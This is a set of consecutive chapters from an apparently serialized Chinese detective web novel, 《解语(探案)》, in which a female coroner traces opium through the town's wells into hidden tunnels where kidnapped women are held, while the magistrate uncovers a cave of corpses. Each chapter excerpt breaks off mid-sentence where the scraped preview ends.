月夕将瑜娘的验案写完,又拿了一些纸张,将自己的所有疑惑写了出来。今日县尊不在,她将验案与疑惑整合了一番,放在王珏的桌案上后,便早早地回七角巷了。 在顾宗棺木前坐了好久,月夕才回过神来,她还是有些想不明白,就算有杨阿爷的药酒,若是每日都有固定的阿芙蓉摄入,再怎么着还是会染上阿芙蓉。 杨阿爷的院子除了酒坛子,布局和这个院子差不多,有井有树,有厨房有茅厕,还有一个不大不小的柴房。 唯一不同的是,杨阿爷院子里有棵杏树,而这个院子里没有。 刨去其他因素,她的日常吃食与顾宗、杨阿爷一家也并无什么不同,可为何偏偏她就沾染上阿芙蓉了呢? 正思考着,她缓缓起身,走到了院子里。 深秋天寒,日头也躲得早,未时刚过,天色便渐渐有暗下来的趋势,她走到井边,低着头往下望了望,大约是雨停了的缘故,井里的水位下降了好些,水也清澈了不少。 她思考了许久,突然脑中灵光一闪。 或许,是水的问题? 杨阿爷的酒是用三十里外莲花山庄的灵泉水酿的,兴许他与吕阿姆平日里喝的也是灵泉水! 因着黎阳县特殊的地理风貌,从前家家户户都会打上一口井,如今县里水源是丰富了,但井中取水的习惯一直未断。 栖月楼有井,如意赌坊有井,她家院子里也有井,就连城外苏家的那个别院里都有井。 井下之水是相通的,若想让一整个县城里的人都沾上阿芙蓉,只要在井里做些手脚便成了。 若是这样的话…… 月夕抬头望了望天,又看了看井下的水,心中忽然产生了一个非常大胆的想法。 “县尊,就是这里。” 城外的暗河道口,林修站在水中指着暗河道口子上的道壁说道。 那道壁原先长满了青苔与河草,看上去与普通道壁并无什么不同,可如今被收拾干净,道壁上的些许可疑的裂纹便显现了出来。 那是一道足有一人高方形的裂纹,与堆砌道壁的青石砖完美融合,要不是清理道壁的捕快因站不稳,不小心将那道裂纹撞开了条缝隙,众人至今都不会发现道壁上的异样。 王珏站在口子前,细细打量着眼前的裂缝,好一会儿,他伸出手在道壁上摸索了起来。 林修见状,慌忙道,“县尊,您这是要找寻什么?” 王珏不语,继续摸索着,直到摸到一块轻微凸起的石块才停下。他顿了顿,按了下去。 哗啦一声响,眼前的那条缝隙竟是缓缓往里凹了进去,林修瞬间反应过来,抽出腰间的刀要去抵挡,王珏则是后退半步,面容不改地看着眼前的动静。 好半晌,那沿着缝隙凹进去的地方慢慢形成了一扇凹进去的石门,王珏伸手轻轻一推,那石门竟是十分轻易地被推开了。 一股属于地下该有的阴潮味儿扑鼻而来,还带着一股十分浓重的腐烂味道,王珏蹙了蹙眉。 林修也紧蹙眉头,“这是……” 王珏顿了顿,道,“备火。” 林修领命,命人捆了几个火把,王珏拿了一把正欲进去,却被拦住,“县尊,还是属下先进去吧。” 王珏却道,“无妨。” 说着,他推开门,走了进去。 七角巷院子里的井边,月夕不知为何,自己竟是被一股力量狠狠摔在了地上,浑身湿漉漉的。 她动了动身子,坐起身来,发现不远处也躺了一个人,衣襟微敞,浑身湿透。 那人也坐起身来,一双墨绿色的眸子惊怒地看着她,“小月娘,我才离开几日,到底是何事竟让你寻此短见?” 月夕被摔得有些懵,就连反应也迟缓了些,她将脸上的水渍抹干净,又摸了摸被摔疼的肩臂,道,“我并未寻短见。” “那你方才为何要投井?” “我并未投井。”月夕使尽全力,这才缓缓站起身来,继续往井口走去。 亓官彧倏地起身,一个闪身挡在她面前,“还说你没投井!” 大约是被气的,他的胸口强烈起伏着,口鼻喷出的热气直往月夕脸边招呼。 月夕抬起头,清澈的双眸认真的看着他,“我怀疑,井下有东西。” 亓官彧显然浑身一顿,就连呼吸都平稳了许多,他问:“什么东西?” 月夕摇了摇头,“要下去看看才知道。” “你怎么下去?”亓官彧问,“井壁湿滑,水深数丈,你就不怕溺死吗?” 月夕从怀中掏出一个羊皮囊,“我阿爷给我做了一个皮囊,将它装满空气,我可以在水下至少待半刻钟的时间。” “那半刻钟后呢?”亓官彧挑眉,很是不屑地瞥了一眼她手里的皮囊。 “算好时间,我便出来。”月夕认真道,“这会儿天色尚早,若再晚些,怕是井下的东西就看不见了。” 说着,她正要越过他朝井边走去。 亓官彧一把拉住她,“我去吧。” 月夕摇头,“不成。” 亓官彧眉心微蹙,但很快轻笑一 27. 井底 《解语(探案)》全本免费阅读 长达月余的雨夜,今夜终于有些月色,虽不明亮,倒也能在那一层薄薄的月色中,映出些轮廓来。 月夕已经煮了三杯茶了,她的目光一直盯着井口,将近过了快半个时辰,井口依旧没什么动静,更深露重,她的手心竟有些微微出汗。 正当她以为亓官彧在井里发生了什么,却听那边传来了哗啦一声响,她迅速放下手里的杯盏,起身朝井口走去。 还未走近,便有一个湿漉漉的人从里头钻了出来,落地时激起一片水花,有好些都砸在了无辜的月夕身上,满是水腥味儿。 月夕蹙了蹙眉。 亓官彧也没想到月夕会走过来,一张俊脸上不知何时爬满了笑意,“小月娘担心我?” 月夕不大喜欢闻着水腥味儿,厌恶地后退了半步,“郎君龟息之功高明,自不用小女担心。不知井底情况如何?” 亓官彧撇了撇嘴,像是很生气,但嘴角的笑意依旧扬着,“我这般帮你,你竟如此忍心叫我一人独自站在冷风中吹,小月娘,你真不地道。” 月夕眨了眨眼,转身回堂屋拿了件衣裳丢过去,“这是我给阿爷做的衣裳,阿爷还没来得及穿。” “竟是小月娘亲手为我做的衣裳!”亓官彧一阵欣喜,立马便将身上湿漉漉的衣裳换了下来,“果真合身!” 月夕摇了摇头,也不管他的贫嘴,只问,“井底情况如何?” 亓官彧这才好端端地坐在月夕方才的位置,端起茶盏喝了一口,正色道,“与月娘想的一致,井底确有暗道,且有一股流向东北方向的暗流,若是尸体,不出半个时辰,必定能流至城外。” 月夕在他对面坐了下来,“但你还发现了其他的东西。” 这不是疑问,而是肯定。 亓官彧微微挑眉,不禁往她的方向倾了倾身,“小月娘方才莫不是放心不下我,跟着我一道下去了?” 月夕实在不习惯与别人有过多亲密的举动,更别提此人是身体结构如此奇怪的亓官彧,于是她下意识地将头偏了偏,“若是没发现,就当我没说。” 亓官彧啧啧一声笑了起来,“小月娘竟还学会用激将法了。” 他坐回去,饮了一口茶,道,“确实是发现了些东西。” 说着,他从脖子里掏出一块黑色的石头,那石头看上去平平无奇的,表面却十分光滑。 却见他将石头放在手心,轻轻一捏,那块石头便咔嚓一声碎成了两半。 石头腹内中空,竟是掉落一颗黑色的丸子。 这熟悉的丸子叫月夕猛地一怔,“这……从何处而来?” 亓官彧细细回想了一会儿,唇边笑意依旧,“井下看上去四通八达,但水脉却只有一条,跟着水脉往左不过半刻钟,我便游进了一条暗道中,你猜,我看到了什么?” 月夕抓住了他的字眼,反问道:“郎君能在水里看到东西?” 亓官彧笑意微微一僵,“小月娘,你怎地这般……” 言罢,他无奈地耸了耸肩,如实道,“井下暗流并非一脉相承,还有很多缺口,凌驾于暗流之上,像是无数条地下暗道,四通八达。我挑了最左边的那条,上岸后走到尽头,便看到了一个出口,出口处有一股非常浓重特别的酒香,竟是一个酒窖。” 他指着那颗小丸子,“酒窖里的酒已被搬空,我便在角落里发现了这个东西。” 月夕再一次沉默了,井下的暗道解开了彩蝶突然出现在城外之谜,如此说来,彩蝶很可能死在城内,更有可能死在栖月楼。 这一切皆由彩蝶而起,或许解开彩蝶之死,真相便能浮出水面。 想到此处,月夕豁然起身,换了身衣裳,又从屋子里拿了好多羊皮囊,给自己裹上了一张黑色面巾,正欲往外走。 亓官彧坐在院子里默默地看着她,他原想问问她到底要做什么,然则看她那般认真的模样,他也便没去打扰。 而此时眼见着她无视坐在院子里的他径自出门,亓官彧忽然慌了,他猛地起身,不过一个闪身,挡住了月夕出门的路。 “小月娘,怎地茶都没喝完,你便要走?” 月夕这才仿若回过神,抬头望着他,“我要去一趟栖月楼,亓官郎君要去吗?” 亓官彧本想再调侃一番,可见她如此认真,心思瞬即收了起来,嘴边扬起一丝浅笑,月光之下,竟还映出了一丝神采奕奕。 “好啊。” 夤夜,两道黑影自栖月楼后门而入,直奔后院井边。 因着楼里死了人,栖月楼已经关门整顿了好些时日,这些日子也不忙,是以辞退了好些短工,后院也因此清闲了好些。 藏在乌云中的月露出一角,倒映在那口圆圆的井里,月夕穿戴好一切,往井里望了望。 亓官彧走了过来,看着她道:“小月娘,你当真要下去?” 月夕定了定神,她其实是有些怕水的,无数个缠着她令她不安的梦魇里,便是与水有关。 可是她又不得不去面对,因为她想要的真相,也与水有关。 思及此,她认真地点了点头。 无尽的冷水自四面八方灌入头顶,这险些让月夕喘不过气,好在她怀揣着羊皮囊,当她觉着无法呼吸时,便摸索着吸上一口。 井底果真有一条暗流,而且十分汹涌,月夕身量不大,刚潜下时险些被那股暗流给冲走,好在身后有一个亓官彧,这才让她稳住了身形。 暗流一片漆黑,未免走散,月夕紧紧拉着亓官彧的衣袖。因着是顺流,两人在暗流中随波逐流,直到遇到第一个缺口,月夕才停了下来。 亓官彧说的没错,暗道里的缺口与水面不在同一个水平上,只要靠近缺口水位便会自动下降,像是一个简易的岸边。 月夕渐渐靠近岸边,直到确定脚能落地才将头露出水面,新鲜的空气扑鼻而来,她赶紧呼吸了一口,摸索着往岸边走去。 暗道里一片漆黑,有风吹来,月夕整个人打了个寒颤。 亓官彧此时也至岸边,他从怀中掏出一个防水的油纸包,拿出一个火折子,又将挂在脖子上的石头取下并掰开,两块石头咔咔咔地相互摩擦着,不一会儿便产生了火星子。 没过多久,整条地下暗道都被燃着的火折子给点亮了。 月夕倒吸一口凉气,这还真的与亓官彧所说的一般无二,岸边有一条很窄的暗道,只能容一人通过,暗道的道壁上隐约有人为开凿的痕迹,被经年累月的水冲刷得只剩下一层轮廓,水腥味儿很重。 她站在暗道口子上,默默地往里 28. 海晏河清 《解语(探案)》全本免费阅读 随着暗道门的打开,无尽的水腥味儿混合着浓重的腐烂味道扑鼻而来,王珏下意识地抬起手,用袖子轻轻捂住口鼻。 手里火把的光亮忽明忽暗,却足以让他看清眼前的场景。 面前是一个极大的山洞,洞内黑漆漆的,一眼望不到头,抬头望去,这山洞足足有两人多高,脚底下的地面则是筑起了一尺高台,站在上头,倒是比外头干燥好多。 这几日王珏也看过好些尸体,自是知道从里头传出来的腐烂味道到底是什么,于是尽管他很厌恶这种味道,却还是拿着火把往里走去。 往里走了十几步便是一条又长又深的甬道,这甬道一看就是人为开凿的,两边的凿壁上都设有烛台,烛台上还残留着一些没燃尽的蜡烛。 甬道的尽头是一面石壁,石壁看上去很是普通,但王珏却在其中看出了一些关窍。 只见他在石壁几处纷纷点了点几下,却听一阵沉闷的哗啦响,面前的石壁竟是被他打开了。 那股腐烂的味道愈发浓烈,直往众人的面门而来,此刻就连身后那些个看惯了死尸的捕快都受不了了,有几个竟是扶着墙吐了起来。 王珏的眉心拧得更紧了。 他有预感,这面石壁背后,定藏了一个巨大的修罗场。 他暗自深呼吸一口气,缓了缓心绪,这才推开门走了进去。 火把的光亮终是将石壁后头的黑暗给照亮了,然而他只朝里头看了一眼,胃里翻滚着的秽物终究没被压制住,反流了上来。 他紧抿着唇,豁然转身,退出了石壁。 跟在身后的捕快见状,近前走了走,谁想刚往里探了探,他们便一脸铁青地转过身来,寻了一处还算干净的地方,狠狠地吐了起来。 林修的状况倒是好些,只是同样面无血色,像极了血气魂魄被抽干了的死人。 王珏缓了好一会儿才寻回自己的思绪,他深呼吸一口气,尽力按压住喉间的那团浊物,缓缓起身,再次往石壁后头走去。 “县尊不可。”林修拦住了他。 王珏摆了摆手,示意他让开,随后紧紧捏着手里的火把,走了进去。 石壁后头的景象再次被照亮,由于做好了充分准备,这一回王珏倒是成功压制住了喉间的冲动。 他暗自咬牙,驱着火把往里走去,脚底也不知沾了什么,每一步都走的十分黏腻。火光所照之处,几乎尸横遍野,有男有女,不着寸缕,层层叠叠将石壁后的山洞全都填满了。 层层叠叠的尸体有的早已腐烂,只剩一副枯骨;有的则是烂了部分,遍地尸水尸虫,有的更是烂得已经缺胳膊少腿,甚至连头颅都不见了。 王珏俊美的脸上血色全无,仿佛雪山之巅冰冻多年的寒冰,冷得吓人。 饶是看多了死人的林修也是半天没缓过劲儿来,然而当他定神之后再往尸山上看时,猛地倒吸了一口凉气,“这……这不是……” 王珏冷瞥了他一眼,林修颤抖着唇,指着尸堆某处道,“那是失踪了半年的严家三娘,这人……这人是失踪了五个月的李家四郎,还有这……这……” 面对着一张张熟悉的面孔,他脊背渐凉,浑身僵直住,终究是“这”不下去了。 王珏眼底的神色更冷了几分,“黎阳县可真是海晏河清!” 他说得冰冷,却满是讽刺,不仅是林修,在场的所有捕快都不禁面色一紧。 尸山的尽头是一个无门的石洞,王珏暗暗按下喉间的不适与心里的愤怒,继续往里走了走。 石洞内别有洞天,像是一个天然的溶洞,但从岩壁上的开凿纹路来看,这分明就是一个人为造就的空间。 山洞内空间也不小,正中央置放着一个石台,与县衙敛房的那个有些类似,但眼前这个却是血迹斑斑,更加肮脏些。 岩壁上被钉了好些木钉子,钉子上挂了好些刀具,有些刀具早已生了锈,但有些确实光滑如新,有镰刀、柴刀、剔骨刀、斩骨刀等等,竟是比刑房里的刑具还要丰富。 王珏蹙了蹙眉,有些不好的预感。 “啊!” 一阵尖叫声传来,王珏猛地转身循声望去,却见一个捕快脸色发白双腿发软瘫倒在地,举着抖得不行的手,指着一块墙面,一时说不出话。 他身边的捕快见状,将火把往那儿一举,火光所到之处,竟是一片触目惊心。 却见那块墙面上也被钉了好些木钉,然而那些钉子上挂的不再是刀具,而是一截一截人的肢体,甚至还有一整张人皮。 那些肢体俨然是被处理过,腐烂的程度很小,可即便如此,也是已经露了骨。 洞内众人的神情又僵了僵。 原以为外头的尸山已然够修罗,万万没想到,越往里,却越令人触目惊心,彻骨心寒。 这哪里是个普通的山洞,这分明就是十八层地狱! 火把继续往里,除了墙面上钉挂着的,洞内除了一些开着的空箱子之外,便再无其他物什。 像是这里的主人早料到此处会被发现,匆忙收拾跑路一般。 看了一圈,众人终于从情绪中缓了回来,好一会儿,王珏才缓缓走到林修面前,将火把交给他,冷声道,“林捕头打算现在动手,还是一会儿再动手?” 伸手不见五指的暗道中忽然有了些光亮,躲在暗处的月夕不禁眯了眯眼,直到看见打开石门的人,她那沉静无波的眸子竟是动了动。 那是一个衣衫褴褛的女子,她手里只拿着一个小小的火烛,没什么光亮,却也在蹒跚的步伐中看出,她身受重伤。 她在石门前站定,往前后都望了望,直到确定没什么异常,才稍稍让了一个身位,朝身后的人道,“小心些。” 话音刚落,几个瘦弱无力的小娘子怯怯懦懦地走了出来,看她们的样子,除了不像领头小娘子那般身受重伤之外,却也受了不小的折磨,有的竟还是跛着脚的。 只半盏茶的功夫,便从石门后头走出了十几个女子,月夕的眉心又拧了拧。 “那姓卓的今日必定不会再来,你们姑且在此处躲一会儿,等到明日……” “岑姊姊,我们真的能逃出去吗?”其中一个小娘子怯生生地问道。 那位姓岑的娘子朝她 29. 见多识广 《解语(探案)》全本免费阅读 “莲花山庄?”月夕忽而想起杨阿爷家的酒,问,“可是城外三十里的莲花山庄?” 岑絮娘连连点头,“正是!小女正是莲花山庄大当家的……庶女。” 月夕对她那明显自卑表述的“庶女”并不感兴趣,只问,“你为何会在此?” 岑絮娘紧咬着下唇,眼底迸发出十分浓重的仇恨,“说来此事在外人眼中,不过是一桩不值一提的家丑,可在小女眼中,却是一场灭顶之灾,还求两位官人救我!” 原来岑絮娘是莲花山庄大当家未娶夫人之前,与身边侍婢所生之女,若按辈分说,岑絮娘该是莲花山庄大当家的第一个孩子。 后来大当家娶了新妇,岑絮娘的阿娘便赶到了柴房,寒冬腊月柴房寒冷,再加上她原本身子骨就不好,没过几日,好好一个人,便就这样活活冻死了。 阿娘惨死,阿爷不疼,岑絮娘便是这种境况下长成了如今这个年岁。 然而随着她越长大便越有姿色,竟是惹得二房堂弟多次骚扰,一回两回不成,堂弟便要对她用强,无奈之下,她只好伤了堂弟。 也正是因此,她在某日晚上被一只麻袋套到了栖月楼。 “好在彩蝶娘子心善,见我可怜,便向于妈妈要了我,还给我化妆教我扮作龟公,这才叫我躲过了栖月楼的那些龌龊事。只是……” “只是好景不长。”她将牙咬得咯咯作响,“于妈妈发现了我的身份,又见我刚烈,便索性将我绑来了这个密室。” “我比她们来得都早,平日里也经常特意留意,这才摸清了那些人的脾气作息。原本想着若是他们当真对我们有所行动,我们便直接与他们拼命,谁想昨晚竟让我听到了关于县令的消息,所以……” 她环顾了一圈,道,“寻到这扇门和密道,我也很意外,好在我自小看过些奇门遁甲的书,想着碰一碰运气,这也总比被那些人带走强,谁想还真的打开了一道门。” 岑絮娘再次向两人叩首,“求两位官人救我们性命!” 月夕凝了凝眉,看来面前的岑絮娘便是栖月楼失踪龟公之一。 “于妈妈与彩蝶都死了。”月夕看着她,“两人皆死于阿芙蓉。” 岑絮娘脸色一沉,似是想起了什么,欲言又止。 “你知道阿芙蓉?” 岑絮娘想了想,咬牙道,“实不相瞒,我那堂弟最后欺辱我那次,曾亲口说,‘这阿芙蓉真是好物’,我当时只以为是什么催|欢之物,便只觉他恶心,并未想其他的。彩蝶娘子和于妈妈她们……” 话到嘴边,她忽然顿住了,栖月楼是个什么地方?那种东西自然是常见的,而且被迫吃那些东西的娘子比比皆是。 思及此,她竟是有些羞愧地低下了头。 彩蝶娘子对她有恩,她却没来得及报恩。 月夕又问,“你可知栖月楼的娘子们,每月都会服食于妈妈给的秘药?” 岑絮娘点头,“知晓,于妈妈说,栖月楼所有人都要吃,便也想让我吃,是彩蝶娘子替我给挡了的。” “你可知这秘药从何而来?” 岑絮娘顿了顿,“我只知每月里是青霜在发那药。对了,于妈妈也吃!” 月夕神色微沉,作为秘药的拥有着,于妈妈理应比任何人都知晓服食那药的后果,怎地她也吃? 她如是想也如是问了,岑絮娘却摇头,“于妈妈似是很乐意吃,我也不知为何。” 她想了想,道,“二位可有法子,救我们出去?” 月夕往身后那条幽暗的暗道瞧了瞧,问,“你们可会水?” 岑絮娘摇了摇头,她身后的那些小娘子们也跟着摇了摇头。 亓官彧适时开口,“此暗道通往一条地下暗流,暗流汹涌且漫长,若不会水,必死无疑。” “那该如何是好?”岑絮娘焦急,她好不容易才寻得一线生机,难不成就此算了? 月夕道,“还有一条道。” 岑絮娘问:“何处?” 月夕指了指石壁,“从这里出去。” 岑絮娘摇头,“我们早就摸查过,石壁后头本就是一间密不透风的密室,除了一扇只能从外头打开的石门之外,便只有这处了。若是从那道门出去,必定会遇上那些人,我们……我们都是手无缚鸡之力的小娘子,根本……根本……” 根本打不过,若有反抗,必定会被那群人压制强|暴…… 岑絮娘闭着眼睛,使劲摇了摇头,似乎这样便能将那些不堪的回忆摇走。 随后,她抬起头看着月夕,微红的眼眶里满是委屈却又坚强的泪水,“仵作大人,可还有其他出路?” 面对岑絮娘的请求,月夕的心尖不知怎的,竟是揪了揪。 大约是落水前被伤得过重,自五年前醒来之后,月夕对情感反馈往往比不得旁人,所以除了几个亲近之人,外人都觉得她铁石心肠。 有时候她也觉着自己有些铁石心肠。 可就在方才,她竟觉着自己坚硬如石的心肠忽然软了软。 她想,她应该是心疼这些女子的。 月夕顿了顿,朝亓官彧看了一眼,“亓官郎君,可否借一步说话?” 亓官彧嘴角微扬,双臂环胸,一副很是得意的样子,朝她笑了笑,很是自觉地转身,应了她的“借一步”。 月夕旋即跟上,直到他在方才的转角处站定,才微微抬头,“可否请亓官郎君帮一个忙。” 亓官彧扬起下巴,有些得意,“要我出手救她们也可……” “请亓官郎君回一趟府衙,替我向我王阿爷传句话。” 亓官彧脸上那得意的笑容猛地僵住,“你?” 他想不通,“你怎地不求我救她们?” “郎君会吗?”月夕抬着清澈的眼眸看着他。 亓官彧一时语塞,其实他并不想救这些个手无缚鸡之力的累赘,可若是月夕开口,他还是愿意的,没成想,她竟只是让他去帮她传句话。 他越想越觉着窝火,就连语气都没了寻常那股子懒散之意,“你就这么不信我?” 月夕抿了抿唇,道,“我只信我自己的判断。若郎君不愿意……” “你又不信我!”亓官彧打断她,“不过是几个下等喽啰罢了,杀了便是。” 月夕有些意外,她只觉着面前的这个亓官郎君,性情浪荡,做人做事也没个章程,全凭自己的喜好,他若高兴,便调笑一番,若是不高兴,消失几日也是有的。 只是没想到,他竟愿意陪她一道搭救那些可怜的小娘子。 她顿了顿,朝亓官彧福了福身,“多谢亓官郎君搭救,我欠你一个人情。” 亓官彧满是愤懑地瞥了她一眼,极其不情愿道:“说得好像你认这份人情似的。” 30. 秦娥楼 《解语(探案)》全本免费阅读 林修脸上的血色渐渐褪去,一片铁青,他抱歉地看向众人,“抱歉了兄弟们,是我将你们拖进来的,来生我给你们当牛做马!” 话音刚落,他将腰间的刀抽了出来,直接往王珏的面门逼去。 王珏似是早就知晓他要有所动作,一个闪身,伸手用扇子一挡,却听哐当一声,林修手里的刀竟是被震得抖了抖,这也使得他的手一阵酥麻。 他诧异,“你会……武?” 王珏耸耸肩,又后退了几步,几个闪身与林修迂回着,“林捕头,本县敬你是条好汉,只是如此助纣为虐,你的心可安?” 林修方才还留有余地,察觉到王珏会武,他手里的招数便全都换成了杀招,“抱歉县尊,我如今一无所有,若连老母与妻女都护不住,那我便不配在这世上活着了。” 他边说着,手里的刀招招往王珏命门招呼,若非王珏早有准备,此刻怕是早已被他所伤。 王珏出身世家,练的也不过是世家功夫,比寻常武夫稍稍厉害些,但若是对上练家子,他怕是无法应付。 是以还不到半刻钟的功夫,王珏便出现了败相。 那几个随着林修一道的捕快不敢加入战局,一直在一旁看着。 他们怕一旦林修输了,王珏得了势,定会怪罪他们,可他们又怕自己一旦加入战局,王珏死了,王珏身后的琅琊王氏必定不会放过他们。 天下第一大族虽早已不及鼎盛时期那般强盛,但瘦死的骆驼比马大,碾死他们仿若碾死一只蚂蚁。 他们根本得罪不起半分。 正此时,却听哐当一声向,王珏与林修都各自后退了几步,林修手里的刀被王珏的扇子抖落在了地上。 林修眼睁睁地看着王珏藏在扇子里的匕首唰得一声出鞘,紧紧顶在了他的脖子上。 王珏赢了。 林修直挺挺地站在那里,再也没反抗,像是下一刻便要慷慨赴死。 “县尊赢了。” “为何?” 王珏看着他,很是不解,明明林修的武艺在他之上。 林修定定地看着他,眼神里满是乞求:“还望县尊救我妻儿性命。” 王珏蹙了蹙眉,“你让本县救她们,总该让本县知晓她们到底在哪儿,境况如何?” 林修道,“几日前,属下在外巡街,严主簿派人接走了我的妻女,并留下话说,七日之内若见不到县尊尸首,他们便要将我妻女送去秦娥楼。” 王珏唇角微勾,“怎么?秦娥楼背后竟还有县衙动不了的人?” “县尊,属下话已至此,还求您给属下一个痛快。” 话音刚落,林修紧闭双眸,近前半步,准备赴死。 王珏却是松了松扇子的力道,问,“不如你先告诉本县,秦娥楼到底是个什么地方?” “秦娥楼?”月夕蹲在角落里,紧蹙着眉头看向岑絮娘。 岑絮娘点点头,“是,我怀疑咱们就在秦娥楼里。” 她朝身后其中一个小娘子喊了一声,“林娘子,你快将你发现的线索说一说。” 众人朝她喊话的方向看过去,却见一个瘦瘦小小的小娘子微微抬起了头。 这小娘子看上去大约也只有七八岁的模样,再加上本身瘦小,看上去仿若一只会动的骷髅。 她怯生生地看了看岑絮娘,又看了看月夕,在众人的注视之下,十分不安的吞了吞口水。 岑絮娘道是吓着她了,连忙放缓语气,“林娘子,你莫怕,只要将你之前看到的说出来便可,若我们能早些出去,你也能早些见到你阿娘,是不是?” 一听到“阿娘”两个字,林娘子的眼眶忽而红了起来,但她很是坚强,愣是没让泪水掉下来。 她猛地点头,怯生生道,“在麻袋里,我醒过一回,听到有人喊了声戚三娘。” 岑絮娘继续道,“黎阳县只有秦娥楼里才有一位戚三娘,所以我们才有此猜测。” 话音才落,外面突然传来了一些响动,岑絮娘紧蹙起眉,“平日里这会儿他们根本不会来!” 正说着,密室的门被打开了,从外头走进来两个男子,他们穿着非常普通的短衣,一时之间,竟是看不出其身份。 小娘子们似是很是害怕这两人,他们刚走进来,众人便蜷缩成了一团,往角落躲去。 月夕也因此跟着团进了角落里。 那两个男子似乎非常满意众人的反应,嗤笑了一声,其中一人更是啧声道,“这么多娇滴滴的小娘子,当真是可惜了。” 另一个听罢,冷笑一声,“怎么?怜香惜玉了?上头让做什么便做什么,咱们可没有自作主张的权利。” 那人耸耸肩,笑了笑,“我也不过说说罢了。” 说罢,他看向角落里扎堆的小娘子们,“原本想着等明日再给你们换个地方,如今怕是不成了。” 他渐渐靠近几步,挑起离他最近的一个小娘子的下巴,眼里带着些淫意的笑,“怪只怪你们命不好。” 他啧了几声,那只手顺着那小娘子的领口往下一捏,柔软的手感充满手心,那小娘子被吓坏了,想要逃离,却被他一手拉住。 “每日里只能看着却不能上的滋味,可真难受。” 另一个男子却只是在一旁冷冷地看着,眼睛眯了眯,嗓音肉眼可见地沙哑了些,“你快些。” 男子仿佛得了什么令,眼底的淫|欲暴涨,直接将那小娘子拎了起来,后头的那些小娘子见状,一个个惊恐地叫出了声,一个劲儿地往里挤。 岑絮娘看不下去了,正要起身,却被月夕一把拉住。 岑絮娘不解,却见月夕将她用力往后一拉,随即站起身来,朝面前那个对小娘子欲行不轨的男子走去。 她的动作很快,不过眨眼功夫,手里的银针便已经在男子各自的穴位上扎去,那男子只顾着欺|辱眼前那个手无缚鸡之力的小娘子,只觉身上一阵麻痛,下一刻,便四肢笔挺得倒了下去。 他手头的力道一松,被拉走的小娘子一个没站稳,亦是往地上一摔。 正当她以为自己会与那男子一样摔得很惨,谁想此刻她腰间一紧,有一个温暖的力道竟接住了她。 她抬头一看,竟是方才那个不知用了什么招数治了那男子的仵作娘子。 月夕正色道:“你没事吧?” 小娘子仿佛受到了极大的委屈,泪水夺眶而出,但她也知晓眼下并不是大哭的时候,于是暗自咬牙让自己冷静下来,吸了吸鼻子,摇头道,“多谢仵作娘子。” 月夕点点头,轻轻将她放下,并回过身扒下那男子的外裳披在她身上,随后看向门口。 彼时站在门口的那个男子早已被躲在暗处的亓官彧制服,亓官彧也不知用了什么法子,只让那男子不会说话也不能动,只是睁着眼睛惊愕地看着众人。 月夕走进前去,清澈的冷眸直勾勾地将他上下打量了一 31. 籍契与契籍 《解语(探案)》全本免费阅读 一切安排妥当,月夕换上了方才那男子的衣裳,拿了火把朝外头走去。 那男子说得没错,这里不仅仅是一个地窖,还是一个酒窖,熟悉的酒香扑鼻而来,月夕只蹙了蹙眉,便往出口走去。 “怎么还不出来?莫不是在里头快活得不肯出来了?” 不出所料,出口果真有人守着,月夕蹑手蹑脚地走到出口下方,静静地等候着时机。 “妈的,要不是主人说速战速决,方才就该老子去,这么多娇嫩的小娘子,随便拉一个都能爽到天上去!” “哼,可真是便宜那俩小子了!” 又过了一会儿,上头的人果真等得不耐烦了,道,“花魁赛快开始了,那俩小子再不出来,怕是要坏事!” “我下去叫他们。” “还是我下去吧。” 正说着,头顶的地窖入口被人打开,一个男子从上头走了下来。 月夕躲在暗处,眼看着他一步一步下来,刚落地时,手里的银针便十分准确地扎在了那人的穴位上。 却听噗通一声响,那人只觉一阵天旋地转,连声音都没来得及发出,整个人倒在了地上。 “怎么回事?出什么事了?”入口之人听到响动,朝里头喊了一声。 迟迟未得到回应之后,那人原本也想下来看一看,可谁想刚迈了一条腿下来,顿觉不对,又伸了回去。 正当月夕再想引一引,却见面前的亓官彧一个闪身,便将正欲逃脱的男子抓了下来,并给他点了穴道。 月夕朝亓官彧“多谢”了一声,走近前去,用银针逼着那人的眼睛,道,“戚三娘在何处?” 亓官彧在那人脖颈处点了点,那人眼里满是惊恐,连连道,“饶命!好汉饶命!我说!我什么都说!三娘她一早就出去了。” “她去了何处?” “好汉,小人不过是下人,主人的事,小人哪里知道啊……” 月夕的手再往里伸了伸,眼见着那枚银针落入眼中,男人开始不安分了起来,“小人只知道三娘出门时带了好多银票,该是出去谈生意了。” 他连连道,“再多小人真的不知晓了!” 月夕拧了拧眉心,落进眼珠子的银针微微一偏,扎进了他脖颈处的穴位里。 霎时间,他直挺挺地晕了过去。 月夕原以为此处是秦娥楼后院一个非常不起眼的地窖,可是刚爬出入口才发现,原来此处竟是位处秦娥楼主院中。 好在此刻院中没几个人,如若不然,她这般大喇喇地从地窖入口处出来,定会被发现。 月夕将入口处的门盖上,理了理身上的脏污,朝主院里头探了探,那里正奏着乐,看起来十分热闹的样子。 听方才那两人说,今日秦娥楼在举办花魁赛,楼里大部分人的大约都聚在了那里。 正好! 月夕迅速环顾了一圈,直到看到一个不大起眼却又能总览全院子的小楼,才径自跑了过去。 和栖月楼于妈妈一样,一般这种身份的人最喜欢住在可以总览全局的地方,整个院子里也就这个楼是这样的布局,是以月夕毫不犹豫便上了楼,并在最里头寻到了戚三娘的屋子。 屋子不大,却十分秀丽,发饰、衣裳、屏风、多宝格,一样不少,可却少了好些金银配饰。 床榻上的被褥还未来得及整理,香炉里也还有些香料未燃尽,桌几上的茶壶已经冷却,却还是满的。 这一切都仿佛在告知众人,屋子的主人刚离开不久,还会再回来。 亓官彧不知何时又回到了她的身边,嘴角微扬,像是发现了什么了不得的东西似的,月夕没打算理会,径自从他身边走过,却听他的声音从后头传来,“啧啧,秦娥楼的花魁没栖月楼的美艳。” 月夕暗暗叹了一声,果然狗嘴里吐不出象牙。 却听他又道,“哟,屋子里所有值钱的东西都不见了。” 他一个闪身走到月夕面前,“你说,她会不会跑路了?” 月夕方才却有此担心,她好不容易寻到戚三娘这个突破口,若是再抓不住,那阿爷的案子怕是难破了。 但她想了想,摇了摇头,“县尊还没死,她跑不远。” 也不知为何,她就是相信王珏不会死,即便是在城外屡遭刺杀,她就是觉得他不会死。 她甚至觉得,这一切还有一些王珏请君入瓮的手段。 亓官彧看出了她眼底的坚信,只呵呵一笑,“兴许今日姓王的没死,可不代表明日他不会。” 月夕看了他一眼,随即继续在屋子里翻找。 亓官彧猜测她或许是生气了,唇角的笑意更浓了几分,他从怀中拿出一叠纸张,递给她,“一应账本什么的都不见了,我猜是被带走了,不过这些东西她带不走。” 